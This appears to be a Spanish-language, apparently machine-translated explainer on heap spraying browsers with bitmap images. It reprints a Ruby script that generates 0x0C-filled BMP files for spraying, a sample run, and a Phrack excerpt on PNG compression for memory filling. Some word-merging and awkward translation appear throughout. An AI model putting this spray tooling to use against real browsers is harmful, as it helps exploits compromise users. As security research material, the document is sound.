La idea general es incrustar shellcode en un mapa de bits que un navegador carga en el montón.
La presentación original sobre esta técnica es Punk Ode: Ocultar código de Shell en Vista simple .
Tambiénsetrataenestedocumento usar código incrustado en un gif para crear un desbordamiento de montón explotable en NetScape 6.x, x86 Linux RedHat 7.0, hace 15 años (diapositiva 9).
En cuanto a la técnica que se analiza en la diapositiva 13 de Técnicas avanzadas de pulverización Heap , el código utilizado para demostrarlo se puede encontrar en la sección titulada " Formas alternativas para rociar el montón del navegador " de corelan Heap Spraying Demystified :
# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission
bmp_width = ARGV[0].to_i
bmp_height = ARGV[1].to_i
bmp_files_togen = ARGV[2].to_i
if (ARGV[0] == nil)
bmp_width = 1024
end
if (ARGV[1] == nil)
bmp_height = 768
end
if (ARGV[2] == nil)
bmp_files_togen = 128
end
# size of bitmap file calculation
bmp_header_size = 54
bmp_raw_offset = 40
bits_per_pixel = 24
bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
bmp_file = "\x00" * bmp_file_size
bmp_header = "\x00" * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size
# generate bitmap file header
bmp_header[0,2] = "\x42\x4D" # "BM"
bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
bmp_file[0,bmp_header.length] = bmp_header
bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
for i in 1..bmp_files_togen do
bmp = File.new(i.to_s+".bmp","wb")
bmp.write(bmp_file)
bmp.close
end
Este script ruby independiente creará una imagen bmp básica que contiene 0x0c en todo el lugar. Ejecute el script, dándole el ancho y el alto deseados del archivo bmp, y la cantidad de archivos para crear:
root@bt:/spray# ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x 2 root root 4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root 4096 2011-12-31 08:50 ..
-rw-r--r-- 1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r-- 1 root root 1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray#
Información adicional sobre este tema del artículo de Phrack Aplicación automática de parches de Microsoft XML con desalineaciones y factoriales :
- [3.4 - Llenar la memoria 1: imágenes
Debido a que la región de memoria que se debe controlar es bastante grande, mi
La idea inicial era utilizar algunos objetos grandes precalculados para rellenar
tal, como imágenes. El núcleo de la idea es que, cada dato
que puede ser consumida y procesada por la aplicación de destino (por ejemplo, salida
o renderizado) tiene su lugar y una representación en el proceso objetivo
memoria. Pensando así no nos dejamos atrapar en términos estereotipados de
'pulverización de pilas' y las técnicas específicas asociadas con ella, muchas de
que ya están mitigados en los navegadores.
La idea de usar imágenes gráficas en el desarrollo de vulnerabilidades no es
nuevo. Fue introducido por primera vez en 2006 por Sutton et al. [3], cuya investigación
Enfocado principalmente en la estética de la esteganografía shellcode en imágenes.
en lugar de resolver cualquier problema de pulverización en pilas (ya que no había ninguna
En ese tiempo). Más tarde, algunos investigadores revisaron la misma idea en el
contexto de la pulverización en pilas, pero nunca ha encontrado una aplicación real,
principalmente porque los mapas de bits (como el único formato capaz de incorporar un
el patrón de bytes "como está") es enorme y solo puede reducirse con la ayuda de
Medidas del lado del servidor, mientras se utilizan otros formatos de imagen para el control de la memoria.
Los propósitos están cargados con problemas de cálculo de recompresión.
Aparte de la compresión GZIP del lado del servidor, otra solución que nunca
Nota pública es PNG. La compresión PNG es muy simple y no lo hace.
afectar a la estructura de mapa de bits en general. Como resultado, una imagen BMP de 2Mb.
que contiene un patrón simple de 1 byte se puede convertir en un PNG de ~ 500 bytes
imagen, que se descomprimirá de nuevo en el mapa de bits original en el
Procesamiento de memoria de proceso.
Sin embargo, hay dos problemas:
-
Cuanto más variable es el patrón de mapa de bits de origen, más grande es la
imagen PNG resultante; una limitación natural de cualquier compresión.
-
El PNG descomprimido tiene bytes adicionales en los datos de mapa de bits, inyectados después
Cada 3 bytes del mapa de bits original. Probablemente sea un canal de transparencia.
o algún otro dato específico del formato PNG.
Las buenas noticias:
-
En el punto en que la imagen PNG se carga y descomprime con la
pero aún no se muestra en la página web, los datos de mapa de bits en el
la memoria de proceso corresponde completamente a la fuente BMP.
-
Una imagen grande se asigna en una porción comparativamente grande y continua de
memoria, ubicada en un desplazamiento de memoria algo predecible.
La técnica de pulverización PNG demostró no ser adecuada para este particular
caso porque se requeriría un patrón de relleno de memoria altamente variable,
Y así las imágenes tendrían que ser demasiado grandes de todos modos. Sin embargo todavía se ve
Como una técnica interesante para el llenado rápido de grandes áreas de memoria con
un patrón de bytes simple.